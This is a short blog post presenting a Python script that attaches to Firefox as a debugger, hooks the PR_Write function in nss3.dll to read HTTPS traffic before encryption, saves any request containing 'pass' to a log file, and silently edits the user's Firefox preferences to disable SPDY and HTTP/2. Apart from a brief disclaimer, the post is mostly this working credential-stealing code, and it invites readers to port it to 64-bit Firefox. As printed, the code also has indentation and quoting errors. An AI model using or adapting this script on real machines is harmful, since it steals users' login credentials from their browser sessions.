Blog


Man in the browser on Firefox

What a beautiful Sunday!
Right now in Italy it's snowing, so what to do during these days?

Obviously talk about some Malware Techniques.

Will you remember about summer's scandal called "Kronos banking trojan"?
Well I'm not going into details, but in that moment my question was: Could I be able to develop such feature?

The answer is yes!

Before proceed...
The only purpose of this article is to illustrate how bad guys develop their malicious software.
I don't take any responsibility about illegal actions carried out by readers.
Curiosity is how software works, not how to damage others!

Let's begin!

While I was studying Gray Hat Python written by Justin Seitz, there was one capther called "Hooking".
Hooking is the software ability to attach software, like a debugger, thus intercepting functions calls.
Man-In-The-Browser is this, simply, in conjuction with the ability to read pre-encrypted traffic.
The source code showed in this book does not work anymore; anyway I'm able to adapt the code on the latest version of Firefox 32bit.

Firefox exports the function which deals with request encryption, so it's very simple to accomplish our task.

You will need to install pydbg library by your own to follow this article.
nss3.dll contains PR_Write function that is useful for our purpose, furthermore We need to disable SPDY for simplify hooking process.

Here the final source code:

from pydbg import *
from pydbg.defines import *
import struct
import utils
import sys
import os

dbg           = pydbg()
debug = Debug()
found_firefox = False

def ssl_sniff( dbg, args ):
    buffer  = ""
    offset  = 0

    while 1:
        byte = dbg.read_process_memory( args[1] + offset, 1 )

        if byte != "x00":
            buffer  += byte
            offset  += 1
            continue
        else:
            break

    if "pass" in buffer:
        print("[!] Found")
        out = open("log.txt","a")
        out.write(buffer)
        out.close()
    

    return DBG_CONTINUE


for (pid, name) in debug.system.scan_processes():
    
    if name.lower() == "firefox.exe":
        
	# Disable SPDY
       path = os.path.join(os.path.join(os.environ['USERPROFILE']), "AppData\Roaming\Mozilla\Firefox\Profiles")
       for directory in os.listdir(path):
			path = os.path.join(path, directory+"\prefs.js")
	
        f = open(path, "a")
	
        f.write("user_pref("network.http.spdy.enabled", false);")
        f.write("user_pref("network.http.spdy.enabled.http2", false);")
        f.close()
        
        
        found_firefox = True
        hooks         = utils.hook_container()

        dbg.attach(pid)
        print("[*] Attaching to firefox.exe with PID: %d" % pid)

        hook_address  = dbg.func_resolve_debuggee("nss3.dll","PR_Write")

        if hook_address:
            
            hooks.add( dbg, hook_address, 2, ssl_sniff, None)
            print("[*] PR_Write hooked at: 0x%08x" % hook_address)
            break
        else:
            print("[*] Error: Couldn't resolve hook address.")
            sys.exit(-1)
            
    
        

if found_firefox:    
    print("[*] Hooks set, continuing process.")
    dbg.run()
else:    
    print("[*] Error: Couldn't find the firefox.exe process. Please fire up firefox first.")
    sys.exit(-1)
Take time to study this code and you could be able to adapt it on 64bit version too.
To the next article, have a good Sunday!